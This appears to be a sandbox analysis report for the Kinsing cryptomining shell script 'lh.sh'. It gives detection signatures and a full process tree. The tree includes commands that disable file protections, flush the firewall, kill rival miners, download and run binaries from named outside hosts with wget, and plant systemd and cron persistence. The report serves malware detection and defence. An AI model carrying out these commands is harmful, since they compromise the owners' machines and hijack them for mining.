Overview

overview

10

Static

static

lh.sh

linux_amd64

7

lh.sh

linux_armhf

10

lh.sh

linux_mips

10

lh.sh

linux_mipsel

10

Resubmissions

14/10/2024, 14:12

241014-rh6f5atbkn9

28/02/2024, 16:15

240228-tqqfzsga4v9

26/03/2022, 23:23

220326-3daz7sehcq10

Analysis

  • max time kernel
    0s
  • max time network
    156s
  • platform
    linux_armhf
  • resource
    debian9-armhf-en-20211208
  • submitted
    26/03/2022, 23:23

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    lh.sh
  • Size 11KB
  • Sample220326-3daz7sehcq
  • SHA256 a58fa03638110727f4a4a227f6ec2c0dceaeb39ccee89d12a4d727bb50d29dc0
  • MD5 SHA1 SHA512
Score
10/10
persistencesuricata

Malware Config

Signatures

  • suricata: ET MALWARE ELF/Kinsing Payload Request M1

    suricata: ET MALWARE ELF/Kinsing Payload Request M1

    suricata
  • Modifies hosts file 1 IoCs

    Adds to hosts file used for mapping hosts to IP addresses.

  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Reads CPU attributes 1 TTPs 44 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • ./lh.sh
    ./lh.sh
    1⤵
      PID:364
      • /usr/bin/chattr
        chattr -i /etc/ld.so.preload
        2⤵
          PID:368
        • /bin/rm
          rm -f /etc/ld.so.preload
          2⤵
            PID:372
          • /usr/bin/chattr
            chattr -R -i /var/spool/cron
            2⤵
            • Creates/modifies Cron job
            PID:373
          • /usr/bin/chattr
            chattr -i /etc/crontab
            2⤵
            • Creates/modifies Cron job
            PID:374
          • /sbin/iptables
            iptables -F
            2⤵
              PID:376
            • /usr/bin/id
              id -u
              2⤵
                PID:379
              • /bin/ls
                ls -la /etc
                2⤵
                  PID:382
                • /bin/grep
                  grep -e /dev
                  2⤵
                    PID:383
                  • /bin/grep
                    grep -v grep
                    2⤵
                      PID:384
                    • /bin/ps
                      ps aux
                      2⤵
                      • Reads CPU attributes
                      • Reads runtime system information
                      PID:385
                    • /bin/grep
                      grep agetty
                      2⤵
                        PID:386
                      • /bin/grep
                        grep -v grep
                        2⤵
                          PID:387
                        • /usr/bin/awk
                          awk "{if(\$3>80.0) print \$2}"
                          2⤵
                            PID:388
                          • /usr/bin/xargs
                            xargs -I "%" kill -9 "%"
                            2⤵
                              PID:389
                            • /usr/bin/pkill
                              pkill -f 42.112.28.216
                              2⤵
                              • Reads CPU attributes
                              • Reads runtime system information
                              PID:390
                            • /bin/grep
                              grep 207.38.87.6
                              2⤵
                                PID:392
                              • /usr/bin/awk
                                awk "{print \$7}"
                                2⤵
                                  PID:393
                                • /usr/bin/awk
                                  awk "-F[/]" "{print \$1}"
                                  2⤵
                                    PID:394
                                  • /bin/grep
                                    grep -v -
                                    2⤵
                                      PID:395
                                    • /usr/bin/xargs
                                      xargs -I "%" kill -9 "%"
                                      2⤵
                                        PID:396
                                      • /bin/grep
                                        grep 127.0.0.1:52018
                                        2⤵
                                          PID:398
                                        • /usr/bin/awk
                                          awk "{print \$7}"
                                          2⤵
                                            PID:399
                                          • /usr/bin/awk
                                            awk "-F[/]" "{print \$1}"
                                            2⤵
                                              PID:400
                                            • /bin/grep
                                              grep -v -
                                              2⤵
                                                PID:401
                                              • /usr/bin/xargs
                                                xargs -I "%" kill -9 "%"
                                                2⤵
                                                  PID:402
                                                • /bin/grep
                                                  grep 34.81.218.76:9486
                                                  2⤵
                                                    PID:404
                                                  • /usr/bin/awk
                                                    awk "{print \$7}"
                                                    2⤵
                                                      PID:405
                                                    • /usr/bin/awk
                                                      awk "-F[/]" "{print \$1}"
                                                      2⤵
                                                        PID:406
                                                      • /bin/grep
                                                        grep -v -
                                                        2⤵
                                                          PID:407
                                                        • /usr/bin/xargs
                                                          xargs -I "%" kill -9 "%"
                                                          2⤵
                                                            PID:408
                                                          • /bin/grep
                                                            grep 42.112.28.216:9486
                                                            2⤵
                                                              PID:410
                                                            • /usr/bin/awk
                                                              awk "{print \$7}"
                                                              2⤵
                                                                PID:411
                                                              • /usr/bin/awk
                                                                awk "-F[/]" "{print \$1}"
                                                                2⤵
                                                                  PID:412
                                                                • /bin/grep
                                                                  grep -v -
                                                                  2⤵
                                                                    PID:413
                                                                  • /usr/bin/xargs
                                                                    xargs -I "%" kill -9 "%"
                                                                    2⤵
                                                                      PID:414
                                                                    • /usr/bin/pkill
                                                                      pkill -f .git/kthreaddw
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:415
                                                                    • /usr/bin/pkill
                                                                      pkill -f 80.211.206.105
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:416
                                                                    • /usr/bin/pkill
                                                                      pkill -f 207.38.87.6
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:417
                                                                    • /usr/bin/pkill
                                                                      pkill -f p8444
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:418
                                                                    • /usr/bin/pkill
                                                                      pkill -f supportxmr
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:419
                                                                    • /usr/bin/pkill
                                                                      pkill -f monero
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:420
                                                                    • /usr/bin/pkill
                                                                      pkill -f kthreaddi
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:421
                                                                    • /usr/bin/pkill
                                                                      pkill -f srv00
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:422
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.javae/javae
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:423
                                                                    • /usr/bin/pkill
                                                                      pkill -f .javae
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:424
                                                                    • /usr/bin/pkill
                                                                      pkill -f .syna
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:425
                                                                    • /usr/bin/pkill
                                                                      pkill -f .main
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:426
                                                                    • /usr/bin/pkill
                                                                      pkill -f xmm
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:427
                                                                    • /usr/bin/pkill
                                                                      pkill -f solr.sh
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:428
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.solr/solrd
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:429
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/javac
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:432
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.go.sh
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:433
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.x/agetty
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:434
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.x/kworker
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:435
                                                                    • /usr/bin/pkill
                                                                      pkill -f c3pool
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:436
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.X11-unix/gitag-ssh
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:437
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/1
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:438
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/okk.sh
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:439
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/gitaly
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:440
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.x/kworker
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:441
                                                                    • /usr/bin/pkill
                                                                      pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:442
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.X11-unix/supervise
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:443
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.ssh/redis.sh
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:444
                                                                    • /bin/ps
                                                                      ps aux
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:445
                                                                    • /bin/grep
                                                                      grep ./udp
                                                                      2⤵
                                                                        PID:446
                                                                      • /bin/grep
                                                                        grep -v grep
                                                                        2⤵
                                                                          PID:447
                                                                        • /usr/bin/awk
                                                                          awk "{print \$2}"
                                                                          2⤵
                                                                            PID:448
                                                                          • /usr/bin/xargs
                                                                            xargs -I "%" kill -9 "%"
                                                                            2⤵
                                                                              PID:449
                                                                            • /bin/cat
                                                                              cat /tmp/.X11-unix/01
                                                                              2⤵
                                                                              • Writes file to tmp directory
                                                                              PID:450
                                                                            • /usr/bin/xargs
                                                                              xargs -I "%" kill -9 "%"
                                                                              2⤵
                                                                              • Reads runtime system information
                                                                              PID:451
                                                                            • /bin/cat
                                                                              cat /tmp/.X11-unix/11
                                                                              2⤵
                                                                              • Writes file to tmp directory
                                                                              PID:452
                                                                            • /usr/bin/xargs
                                                                              xargs -I "%" kill -9 "%"
                                                                              2⤵
                                                                                PID:453
                                                                              • /bin/cat
                                                                                cat /tmp/.X11-unix/22
                                                                                2⤵
                                                                                • Writes file to tmp directory
                                                                                PID:454
                                                                              • /usr/bin/xargs
                                                                                xargs -I "%" kill -9 "%"
                                                                                2⤵
                                                                                  PID:455
                                                                                • /bin/cat
                                                                                  cat /tmp/.pg_stat.0
                                                                                  2⤵
                                                                                  • Writes file to tmp directory
                                                                                  PID:456
                                                                                • /usr/bin/xargs
                                                                                  xargs -I "%" kill -9 "%"
                                                                                  2⤵
                                                                                    PID:457
                                                                                  • /bin/cat
                                                                                    cat /tmp/.pg_stat.1
                                                                                    2⤵
                                                                                    • Writes file to tmp directory
                                                                                    PID:458
                                                                                  • /usr/bin/xargs
                                                                                    xargs -I "%" kill -9 "%"
                                                                                    2⤵
                                                                                      PID:459
                                                                                    • /bin/cat
                                                                                      cat /data/./oka.pid
                                                                                      2⤵
                                                                                        PID:460
                                                                                      • /usr/bin/xargs
                                                                                        xargs -I "%" kill -9 "%"
                                                                                        2⤵
                                                                                          PID:461
                                                                                        • /usr/bin/pkill
                                                                                          pkill -f zsvc
                                                                                          2⤵
                                                                                          • Reads CPU attributes
                                                                                          • Reads runtime system information
                                                                                          PID:462
                                                                                        • /usr/bin/pkill
                                                                                          pkill -f pdefenderd
                                                                                          2⤵
                                                                                          • Reads CPU attributes
                                                                                          PID:463
                                                                                        • /usr/bin/pkill
                                                                                          pkill -f updatecheckerd
                                                                                          2⤵
                                                                                          • Reads CPU attributes
                                                                                          • Reads runtime system information
                                                                                          PID:464
                                                                                        • /usr/bin/pkill
                                                                                          pkill -f cruner
                                                                                          2⤵
                                                                                          • Reads CPU attributes
                                                                                          • Reads runtime system information
                                                                                          PID:465
                                                                                        • /usr/bin/pkill
                                                                                          pkill -f dbused
                                                                                          2⤵
                                                                                          • Reads CPU attributes
                                                                                          • Reads runtime system information
                                                                                          PID:466
                                                                                        • /usr/bin/pkill
                                                                                          pkill -f bashirc
                                                                                          2⤵
                                                                                          • Reads CPU attributes
                                                                                          PID:467
                                                                                        • /usr/bin/pkill
                                                                                          pkill -f meminitsrv
                                                                                          2⤵
                                                                                          • Reads CPU attributes
                                                                                          • Reads runtime system information
                                                                                          PID:468
                                                                                        • /bin/ps
                                                                                          ps aux
                                                                                          2⤵
                                                                                          • Reads CPU attributes
                                                                                          • Reads runtime system information
                                                                                          PID:469
                                                                                        • /bin/grep
                                                                                          grep ./oka
                                                                                          2⤵
                                                                                            PID:470
                                                                                          • /bin/grep
                                                                                            grep -v grep
                                                                                            2⤵
                                                                                              PID:471
                                                                                            • /usr/bin/awk
                                                                                              awk "{print \$2}"
                                                                                              2⤵
                                                                                                PID:472
                                                                                              • /usr/bin/xargs
                                                                                                xargs -I "%" kill -9 "%"
                                                                                                2⤵
                                                                                                  PID:473
                                                                                                • /bin/ps
                                                                                                  ps aux
                                                                                                  2⤵
                                                                                                  • Reads CPU attributes
                                                                                                  • Reads runtime system information
                                                                                                  PID:474
                                                                                                • /bin/grep
                                                                                                  grep "postgres: autovacum"
                                                                                                  2⤵
                                                                                                    PID:475
                                                                                                  • /bin/grep
                                                                                                    grep -v grep
                                                                                                    2⤵
                                                                                                      PID:476
                                                                                                    • /usr/bin/awk
                                                                                                      awk "{print \$2}"
                                                                                                      2⤵
                                                                                                        PID:477
                                                                                                      • /usr/bin/xargs
                                                                                                        xargs -I "%" kill -9 "%"
                                                                                                        2⤵
                                                                                                          PID:478
                                                                                                        • /bin/ps
                                                                                                          ps ax -o "command,pid" -www
                                                                                                          2⤵
                                                                                                          • Reads CPU attributes
                                                                                                          • Reads runtime system information
                                                                                                          PID:480
                                                                                                        • /usr/bin/awk
                                                                                                          awk "length(\$1) == 8"
                                                                                                          2⤵
                                                                                                            PID:482
                                                                                                          • /bin/grep
                                                                                                            grep -v bin
                                                                                                            2⤵
                                                                                                              PID:483
                                                                                                            • /bin/grep
                                                                                                              grep -v "\\["
                                                                                                              2⤵
                                                                                                                PID:484
                                                                                                              • /bin/grep
                                                                                                                grep -v "("
                                                                                                                2⤵
                                                                                                                  PID:485
                                                                                                                • /bin/grep
                                                                                                                  grep -v php-fpm
                                                                                                                  2⤵
                                                                                                                    PID:486
                                                                                                                  • /bin/grep
                                                                                                                    grep -v proxymap
                                                                                                                    2⤵
                                                                                                                      PID:487
                                                                                                                    • /bin/grep
                                                                                                                      grep -v postgres
                                                                                                                      2⤵
                                                                                                                        PID:488
                                                                                                                      • /bin/grep
                                                                                                                        grep -v postgrey
                                                                                                                        2⤵
                                                                                                                          PID:489
                                                                                                                        • /bin/grep
                                                                                                                          grep -v kinsing
                                                                                                                          2⤵
                                                                                                                            PID:490
                                                                                                                          • /usr/bin/awk
                                                                                                                            awk "{print \$2}"
                                                                                                                            2⤵
                                                                                                                              PID:491
                                                                                                                            • /usr/bin/xargs
                                                                                                                              xargs -I "%" kill -9 "%"
                                                                                                                              2⤵
                                                                                                                                PID:492
                                                                                                                              • /bin/ps
                                                                                                                                ps ax -o "command,pid" -www
                                                                                                                                2⤵
                                                                                                                                • Reads CPU attributes
                                                                                                                                • Reads runtime system information
                                                                                                                                PID:493
                                                                                                                              • /usr/bin/awk
                                                                                                                                awk "length(\$1) == 16"
                                                                                                                                2⤵
                                                                                                                                  PID:494
                                                                                                                                • /bin/grep
                                                                                                                                  grep -v bin
                                                                                                                                  2⤵
                                                                                                                                    PID:495
                                                                                                                                  • /bin/grep
                                                                                                                                    grep -v "\\["
                                                                                                                                    2⤵
                                                                                                                                      PID:496
                                                                                                                                    • /bin/grep
                                                                                                                                      grep -v "("
                                                                                                                                      2⤵
                                                                                                                                        PID:497
                                                                                                                                      • /bin/grep
                                                                                                                                        grep -v php-fpm
                                                                                                                                        2⤵
                                                                                                                                          PID:498
                                                                                                                                        • /bin/grep
                                                                                                                                          grep -v proxymap
                                                                                                                                          2⤵
                                                                                                                                            PID:499
                                                                                                                                          • /bin/grep
                                                                                                                                            grep -v postgres
                                                                                                                                            2⤵
                                                                                                                                              PID:500
                                                                                                                                            • /bin/grep
                                                                                                                                              grep -v postgrey
                                                                                                                                              2⤵
                                                                                                                                                PID:501
                                                                                                                                              • /usr/bin/awk
                                                                                                                                                awk "{print \$2}"
                                                                                                                                                2⤵
                                                                                                                                                  PID:502
                                                                                                                                                • /usr/bin/xargs
                                                                                                                                                  xargs -I "%" kill -9 "%"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:503
                                                                                                                                                  • /bin/ps
                                                                                                                                                    ps ax
                                                                                                                                                    2⤵
                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                    • Reads runtime system information
                                                                                                                                                    PID:504
                                                                                                                                                  • /usr/bin/awk
                                                                                                                                                    awk "length(\$5) == 8"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:505
                                                                                                                                                    • /bin/grep
                                                                                                                                                      grep -v bin
                                                                                                                                                      2⤵
                                                                                                                                                        PID:506
                                                                                                                                                      • /bin/grep
                                                                                                                                                        grep -v "\\["
                                                                                                                                                        2⤵
                                                                                                                                                          PID:507
                                                                                                                                                        • /bin/grep
                                                                                                                                                          grep -v "("
                                                                                                                                                          2⤵
                                                                                                                                                            PID:508
                                                                                                                                                          • /bin/grep
                                                                                                                                                            grep -v php-fpm
                                                                                                                                                            2⤵
                                                                                                                                                              PID:509
                                                                                                                                                            • /bin/grep
                                                                                                                                                              grep -v proxymap
                                                                                                                                                              2⤵
                                                                                                                                                                PID:510
                                                                                                                                                              • /bin/grep
                                                                                                                                                                grep -v postgres
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:511
                                                                                                                                                                • /bin/grep
                                                                                                                                                                  grep -v postgrey
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:512
                                                                                                                                                                  • /usr/bin/awk
                                                                                                                                                                    awk "{print \$1}"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:513
                                                                                                                                                                    • /usr/bin/xargs
                                                                                                                                                                      xargs -I "%" kill -9 "%"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:514
                                                                                                                                                                      • /bin/ps
                                                                                                                                                                        ps aux
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                        PID:515
                                                                                                                                                                      • /bin/grep
                                                                                                                                                                        grep -v grep
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:516
                                                                                                                                                                        • /bin/grep
                                                                                                                                                                          grep /tmp/sscks
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:517
                                                                                                                                                                          • /usr/bin/awk
                                                                                                                                                                            awk "{print \$2}"
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:518
                                                                                                                                                                            • /usr/bin/xargs
                                                                                                                                                                              xargs -I "%" kill -9 "%"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:519
                                                                                                                                                                              • /bin/chmod
                                                                                                                                                                                chmod 777 /etc/kinsing
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:524
                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                  wget -O /etc/kinsing https://bitbucket.org/eosakk11/reposit/raw/a93713d44b805f877da6fabe4b91a09b180486e1/kinsing
                                                                                                                                                                                  2⤵
                                                                                                                                                                                  • Modifies hosts file
                                                                                                                                                                                  • Writes DNS configuration
                                                                                                                                                                                  PID:525
                                                                                                                                                                                • /bin/chmod
                                                                                                                                                                                  chmod +x /etc/kinsing
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:526
                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                    chmod 777 /etc/kinsing
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:531
                                                                                                                                                                                    • /usr/bin/wget
                                                                                                                                                                                      wget -O /etc/kinsing http://178.20.40.227/kinsing
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:532
                                                                                                                                                                                      • /bin/chmod
                                                                                                                                                                                        chmod +x /etc/kinsing
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:535
                                                                                                                                                                                        • /bin/chmod
                                                                                                                                                                                          chmod 777 /etc/libsystem.so
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:544
                                                                                                                                                                                          • /usr/bin/wget
                                                                                                                                                                                            wget -O /etc/libsystem.so http://178.20.40.227/libsystem.so
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:545
                                                                                                                                                                                            • /bin/chmod
                                                                                                                                                                                              chmod +x /etc/libsystem.so
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:546
                                                                                                                                                                                              • /bin/chmod
                                                                                                                                                                                                chmod 777 /etc/libsystem.so
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:551
                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                  wget -O /etc/libsystem.so http://178.20.40.227/libsystem.so
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:552
                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                    chmod +x /etc/libsystem.so
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:553
                                                                                                                                                                                                    • /bin/rm
                                                                                                                                                                                                      rm -rf /tmp/kdevtmpfsi
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Writes file to tmp directory
                                                                                                                                                                                                      PID:558
                                                                                                                                                                                                    • /bin/chmod
                                                                                                                                                                                                      chmod 777 /etc/kinsing
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:559
                                                                                                                                                                                                      • /bin/chmod
                                                                                                                                                                                                        chmod +x /etc/kinsing
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:560
                                                                                                                                                                                                        • /etc/kinsing
                                                                                                                                                                                                          /etc/kinsing
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:561
                                                                                                                                                                                                          • /usr/bin/id
                                                                                                                                                                                                            id -u
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:563
                                                                                                                                                                                                            • /bin/systemctl
                                                                                                                                                                                                              systemctl enable bot
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                              PID:564
                                                                                                                                                                                                            • /bin/systemctl
                                                                                                                                                                                                              systemctl start bot
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                              PID:575
                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:579
                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                sed /base64/d
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:580
                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:581
                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:582
                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                      sed /_cron/d
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:583
                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:585
                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:587
                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                            sed /31.210.20.181/d
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:588
                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:589
                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:590
                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                  sed /update.sh/d
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:591
                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:592
                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:593
                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                        sed /logo4/d
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:594
                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:595
                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:596
                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                              sed /logo9/d
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:597
                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:598
                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:599
                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                    sed /logo0/d
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:600
                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:601
                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:602
                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                          sed /logo/d
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:603
                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:604
                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:605
                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                sed /tor2web/d
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:606
                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:607
                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:608
                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                      sed /jpg/d
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:609
                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:610
                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:611
                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                            sed /png/d
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:612
                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:613
                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:614
                                                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                                                  sed /tmp/d
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:615
                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:616
                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:617
                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                        sed /zmreplchkr/d
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:618
